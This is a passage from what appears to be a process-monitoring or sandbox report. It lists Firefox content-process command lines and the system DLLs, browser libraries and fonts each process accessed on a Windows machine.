        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\FORMAUTOFILL@MOZILLA.ORG.XPI
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\PICTUREINPICTURE@MOZILLA.ORG.XPI
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\WEBCOMPAT@MOZILLA.ORG.XPI
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\SCREENSHOTS@MOZILLA.ORG.XPI
        
        1228
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.20.1321203734\1173403048" -CHILDID 3 -ISFORBROWSER -PREFSHANDLE 3464 -PREFMAPHANDLE 3460 -PREFSLEN 6334 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 3476 TAB
        
        Time lapse
        
        157.820147
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\WINDOWS\FONTS\ARIAL.TTF
        C:\WINDOWS\FONTS\ARIALN.TTF
        C:\WINDOWS\FONTS\ARIALI.TTF
        C:\WINDOWS\FONTS\ARIALNI.TTF
        C:\WINDOWS\FONTS\ARIALBD.TTF
        C:\WINDOWS\FONTS\ARIALNB.TTF
        C:\WINDOWS\FONTS\ARIALBI.TTF
        C:\WINDOWS\FONTS\ARIALNBI.TTF
        C:\WINDOWS\FONTS\ARIBLK.TTF
        C:\WINDOWS\FONTS\TIMESBD.TTF
        C:\WINDOWS\FONTS\TIMESI.TTF
        C:\WINDOWS\FONTS\TIMESBI.TTF
        C:\WINDOWS\FONTS\ARIALUNI.TTF
        C:\WINDOWS\FONTS\ESTRE.TTF
        C:\WINDOWS\FONTS\CAMBRIA.TTC
        C:\WINDOWS\FONTS\MANGAL.TTF
        C:\WINDOWS\FONTS\VRINDA.TTF
        C:\WINDOWS\FONTS\SHRUTI.TTF
        C:\WINDOWS\FONTS\GAUTAMI.TTF
        C:\WINDOWS\FONTS\TUNGA.TTF
        C:\WINDOWS\FONTS\KARTIKA.TTF
        C:\WINDOWS\FONTS\ISKPOTA.TTF
        C:\WINDOWS\FONTS\TAHOMA.TTF
        C:\WINDOWS\FONTS\LAOUI.TTF
        C:\WINDOWS\FONTS\IMPRISHA.TTF
        C:\WINDOWS\FONTS\LATHA.TTF
        C:\WINDOWS\FONTS\TRADO.TTF
        C:\WINDOWS\FONTS\MINGLIUB.TTC
        C:\WINDOWS\FONTS\BASKVILL.TTF
        C:\WINDOWS\FONTS\CORDIA.TTF
        C:\WINDOWS\FONTS\JUICE___.TTF
        C:\WINDOWS\FONTS\GOTHIC.TTF
        C:\WINDOWS\FONTS\LEELAWAD.TTF
        C:\WINDOWS\FONTS\ROD.TTF
        C:\WINDOWS\FONTS\CONSTAN.TTF
        C:\WINDOWS\FONTS\RAGE.TTF
        C:\WINDOWS\FONTS\ARABTYPE.TTF
        C:\WINDOWS\FONTS\MSGOTHIC.TTC
        C:\WINDOWS\FONTS\MRIAMC.TTF
        C:\WINDOWS\FONTS\CORDIAU.TTF
        C:\WINDOWS\FONTS\FRSCRIPT.TTF
        C:\WINDOWS\FONTS\APARAJ.TTF
        C:\WINDOWS\FONTS\REFSPCL.TTF
        C:\WINDOWS\FONTS\NYALA.TTF
        C:\WINDOWS\FONTS\LVNM.TTF
        C:\WINDOWS\FONTS\LBRITE.TTF
        C:\WINDOWS\FONTS\ELEPHNT.TTF
        C:\WINDOWS\FONTS\LTYPE.TTF
        C:\WINDOWS\FONTS\BOD_R.TTF
        C:\WINDOWS\FONTS\MINGLIU.TTC
        C:\WINDOWS\FONTS\SIMKAI.TTF
        C:\WINDOWS\FONTS\MEIRYO.TTC
        C:\WINDOWS\FONTS\IMPACT.TTF
        C:\WINDOWS\FONTS\L_10646.TTF
        C:\WINDOWS\FONTS\SIMSUN.TTC
        C:\WINDOWS\FONTS\PLAYBILL.TTF
        C:\WINDOWS\FONTS\SIMFANG.TTF
        C:\WINDOWS\FONTS\CONSOLA.TTF
        C:\WINDOWS\FONTS\MSYI.TTF
        C:\WINDOWS\FONTS\COPRGTL.TTF
        C:\WINDOWS\FONTS\OLDENGL.TTF
        C:\WINDOWS\FONTS\BRLNSR.TTF
        C:\WINDOWS\FONTS\PRISTINA.TTF
        C:\WINDOWS\FONTS\COUR.TTF
        C:\WINDOWS\FONTS\AGENCYR.TTF
        C:\WINDOWS\FONTS\BROWA.TTF
        C:\WINDOWS\FONTS\DOKCHAMP.TTF
        C:\WINDOWS\FONTS\VLADIMIR.TTF
        C:\WINDOWS\FONTS\SYMBOL.TTF
        C:\WINDOWS\FONTS\CALIBRI.TTF
        C:\WINDOWS\FONTS\COOPBL.TTF
        C:\WINDOWS\FONTS\COLONNA.TTF
        C:\WINDOWS\FONTS\GULIM.TTC
        C:\WINDOWS\FONTS\UPCKL.TTF
        C:\WINDOWS\FONTS\BRADHITC.TTF
        C:\WINDOWS\FONTS\ROCK.TTF
        C:\WINDOWS\FONTS\BROWAU.TTF
        C:\WINDOWS\FONTS\WINGDING.TTF
        C:\WINDOWS\FONTS\FREESCPT.TTF
        C:\WINDOWS\FONTS\EBRIMA.TTF
        C:\WINDOWS\FONTS\MSMINCHO.TTC
        C:\WINDOWS\FONTS\LSANS.TTF
        C:\WINDOWS\FONTS\CENTURY.TTF
        C:\WINDOWS\FONTS\ALGER.TTF
        C:\WINDOWS\FONTS\STENCIL.TTF
        C:\WINDOWS\FONTS\GEORGIA.TTF
        C:\WINDOWS\FONTS\ANGSA.TTF
        C:\WINDOWS\FONTS\KHMERUI.TTF
        C:\WINDOWS\FONTS\BELL.TTF
        C:\WINDOWS\FONTS\GLECB.TTF
        C:\WINDOWS\FONTS\MOOLBOR.TTF
        C:\WINDOWS\FONTS\ANGSAU.TTF
        C:\WINDOWS\FONTS\BOOKOS.TTF
        C:\WINDOWS\FONTS\BATANG.TTC
        C:\WINDOWS\FONTS\ARLRDBD.TTF
        C:\WINDOWS\FONTS\NIAGSOL.TTF
        C:\WINDOWS\FONTS\MISTRAL.TTF
        C:\WINDOWS\FONTS\MSYH.TTF
        C:\WINDOWS\FONTS\SIMPO.TTF
        C:\WINDOWS\FONTS\ERASMD.TTF
        C:\WINDOWS\FONTS\CURLZ___.TTF
        C:\WINDOWS\FONTS\KAIU.TTF
        C:\WINDOWS\FONTS\PALSCRI.TTF
        C:\WINDOWS\FONTS\TCM_____.TTF
        C:\WINDOWS\FONTS\UTSAAH.TTF
        C:\WINDOWS\FONTS\SHONAR.TTF
        C:\WINDOWS\FONTS\GIGI.TTF
        C:\WINDOWS\FONTS\LATINWD.TTF
        C:\WINDOWS\FONTS\SEGUISYM.TTF
        C:\WINDOWS\FONTS\VIJAYA.TTF
        C:\WINDOWS\FONTS\NRKIS.TTF
        C:\WINDOWS\FONTS\GARA.TTF
        C:\WINDOWS\FONTS\ITCEDSCR.TTF
        C:\WINDOWS\FONTS\DAUNPENH.TTF
        C:\WINDOWS\FONTS\BRUSHSCI.TTF
        C:\WINDOWS\FONTS\MVBOLI.TTF
        C:\WINDOWS\FONTS\WEBDINGS.TTF
        C:\WINDOWS\FONTS\MSJH.TTF
        C:\WINDOWS\FONTS\SEGOEPR.TTF
        C:\WINDOWS\FONTS\MALGUN.TTF
        C:\WINDOWS\FONTS\CALIFR.TTF
        C:\WINDOWS\FONTS\PER_____.TTF
        C:\WINDOWS\FONTS\MAJALLA.TTF
        C:\WINDOWS\FONTS\NTAILU.TTF
        C:\WINDOWS\FONTS\RAVIE.TTF
        C:\WINDOWS\FONTS\MONBAITI.TTF
        C:\WINDOWS\FONTS\CORBEL.TTF
        C:\WINDOWS\FONTS\HARNGTON.TTF
        C:\WINDOWS\FONTS\KUNSTLER.TTF
        C:\WINDOWS\FONTS\UPCIL.TTF
        C:\WINDOWS\FONTS\SCRIPTBL.TTF
        C:\WINDOWS\FONTS\PLANTC.TTF
        C:\WINDOWS\FONTS\SEGOESC.TTF
        C:\WINDOWS\FONTS\LCALLIG.TTF
        C:\WINDOWS\FONTS\FELIXTI.TTF
        C:\WINDOWS\FONTS\SIMSUNB.TTF
        C:\WINDOWS\FONTS\CALIST.TTF
        C:\WINDOWS\FONTS\MRIAM.TTF
        C:\WINDOWS\FONTS\CENSCBK.TTF
        C:\WINDOWS\FONTS\UPCLL.TTF
        C:\WINDOWS\FONTS\VANI.TTF
        C:\WINDOWS\FONTS\REFSAN.TTF
        C:\WINDOWS\FONTS\SYLFAEN.TTF
        C:\WINDOWS\FONTS\ENGR.TTF
        C:\WINDOWS\FONTS\HTOWERT.TTF
        C:\WINDOWS\FONTS\MARLETT.TTF
        C:\WINDOWS\FONTS\DAVID.TTF
        C:\WINDOWS\FONTS\SIMPFXO.TTF
        C:\WINDOWS\FONTS\BRITANIC.TTF
        C:\WINDOWS\FONTS\UPCJL.TTF
        C:\WINDOWS\FONTS\WINGDNG3.TTF
        C:\WINDOWS\FONTS\GOUDOSI.TTF
        C:\WINDOWS\FONTS\BERNHC.TTF
        C:\WINDOWS\FONTS\RAAVI.TTF
        C:\WINDOWS\FONTS\ONYX.TTF
        C:\WINDOWS\FONTS\MAGNETOB.TTF
        C:\WINDOWS\FONTS\EUPHEMIA.TTF
        C:\WINDOWS\FONTS\PERTILI.TTF
        C:\WINDOWS\FONTS\BROADW.TTF
        C:\WINDOWS\FONTS\LHANDW.TTF
        C:\WINDOWS\FONTS\ANDLSO.TTF
        C:\WINDOWS\FONTS\PARCHM.TTF
        C:\WINDOWS\FONTS\VERDANA.TTF
        C:\WINDOWS\FONTS\LUCON.TTF
        C:\WINDOWS\FONTS\BKANT.TTF
        C:\WINDOWS\FONTS\FRAMD.TTF
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\WINDOWS\FONTS\KOKILA.TTF
        C:\WINDOWS\FONTS\GIL_____.TTF
        C:\WINDOWS\FONTS\COMIC.TTF
        C:\WINDOWS\FONTS\WINGDNG2.TTF
        C:\WINDOWS\FONTS\VIVALDII.TTF
        C:\WINDOWS\FONTS\SIMHEI.TTF
        C:\WINDOWS\FONTS\FTLTLT.TTF
        C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\EQUATION\MTEXTRA.TTF
        C:\WINDOWS\FONTS\MSUIGHUR.TTF
        C:\WINDOWS\FONTS\SHOWG.TTF
        C:\WINDOWS\FONTS\KALINGA.TTF
        C:\WINDOWS\FONTS\HATTEN.TTF
        C:\WINDOWS\FONTS\FRABK.TTF
        C:\WINDOWS\FONTS\BOD_PSTC.TTF
        C:\WINDOWS\FONTS\MATURASC.TTF
        C:\WINDOWS\FONTS\MAIAN.TTF
        C:\WINDOWS\FONTS\SNAP____.TTF
        C:\WINDOWS\FONTS\MTCORSVA.TTF
        C:\WINDOWS\FONTS\CENTAUR.TTF
        C:\WINDOWS\FONTS\OCRAEXT.TTF
        C:\WINDOWS\FONTS\UPCEL.TTF
        C:\WINDOWS\FONTS\GISHA.TTF
        C:\WINDOWS\FONTS\OUTLOOK.TTF
        C:\WINDOWS\FONTS\FORTE.TTF
        C:\WINDOWS\FONTS\TAILE.TTF
        C:\WINDOWS\FONTS\CASTELAR.TTF
        C:\WINDOWS\FONTS\VINERITC.TTF
        C:\WINDOWS\FONTS\JOKERMAN.TTF
        C:\WINDOWS\FONTS\CHILLER.TTF
        C:\WINDOWS\FONTS\UPCDL.TTF
        C:\WINDOWS\FONTS\ITCBLKAD.TTF
        C:\WINDOWS\FONTS\TREBUC.TTF
        C:\WINDOWS\FONTS\PAPYRUS.TTF
        C:\WINDOWS\FONTS\BAUHS93.TTF
        C:\WINDOWS\FONTS\PHAGSPA.TTF
        C:\WINDOWS\FONTS\INFROMAN.TTF
        C:\WINDOWS\FONTS\HARLOWSI.TTF
        C:\WINDOWS\FONTS\HIMALAYA.TTF
        C:\WINDOWS\FONTS\PALA.TTF
        C:\WINDOWS\FONTS\CANDARA.TTF
        C:\WINDOWS\FONTS\FRANK.TTF
        C:\WINDOWS\FONTS\GOUDYSTO.TTF
        C:\WINDOWS\FONTS\LFAX.TTF
        C:\WINDOWS\FONTS\GABRIOLA.TTF
        C:\WINDOWS\FONTS\MICROSS.TTF
        C:\WINDOWS\FONTS\TEMPSITC.TTF
        C:\WINDOWS\FONTS\NIAGENG.TTF
        C:\WINDOWS\FONTS\UPCFL.TTF
        C:\WINDOWS\FONTS\MOD20.TTF
        C:\WINDOWS\FONTS\ITCKRIST.TTF
        C:\WINDOWS\FONTS\AHRONBD.TTF
        C:\WINDOWS\FONTS\BSSYM7.TTF
        C:\WINDOWS\FONTS\POORICH.TTF
        C:\WINDOWS\FONTS\MSYHBD.TTF
        C:\WINDOWS\FONTS\MSJHBD.TTF
        C:\WINDOWS\FONTS\MEIRYOB.TTC
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\D3DCOMPILER_47.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LIBGLESV2.DLL
        C:\WINDOWS\SYSTEM32\DXGI.DLL
        C:\WINDOWS\SYSTEM32\D3D9.DLL
        C:\WINDOWS\SYSTEM32\D3D8THK.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LIBEGL.DLL
        C:\WINDOWS\SYSTEM32\D3D11.DLL
        C:\WINDOWS\SYSTEM32\D3D10WARP.DLL
        C:\WINDOWS\FONTS\COURBD.TTF
        C:\WINDOWS\FONTS\COURI.TTF
        C:\WINDOWS\FONTS\COURBI.TTF
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVUTIL.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVCODEC.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\MF.DLL
        C:\WINDOWS\SYSTEM32\ATL.DLL
        C:\WINDOWS\SYSTEM32\KSUSER.DLL
        C:\WINDOWS\SYSTEM32\DXVA2.DLL
        C:\WINDOWS\SYSTEM32\EVR.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        
        3468
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.27.1060054463\1856532694" -CHILDID 4 -ISFORBROWSER -PREFSHANDLE 3652 -PREFMAPHANDLE 3208 -PREFSLEN 6334 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 3664 TAB
        
        Time lapse
        
        157.875149
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\7C27E0A3E1BA29183AF76EA17D293660.PNG
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\WINDOWS\FONTS\ARIAL.TTF
        C:\WINDOWS\FONTS\ARIALN.TTF
        C:\WINDOWS\FONTS\ARIALI.TTF
        C:\WINDOWS\FONTS\ARIALNI.TTF
        C:\WINDOWS\FONTS\ARIALBD.TTF
        C:\WINDOWS\FONTS\ARIALNB.TTF
        C:\WINDOWS\FONTS\ARIALBI.TTF
        C:\WINDOWS\FONTS\ARIALNBI.TTF
        C:\WINDOWS\FONTS\ARIBLK.TTF
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\WINDOWS\FONTS\SEGUISB.TTF
        C:\WINDOWS\FONTS\SEGOEUIB.TTF
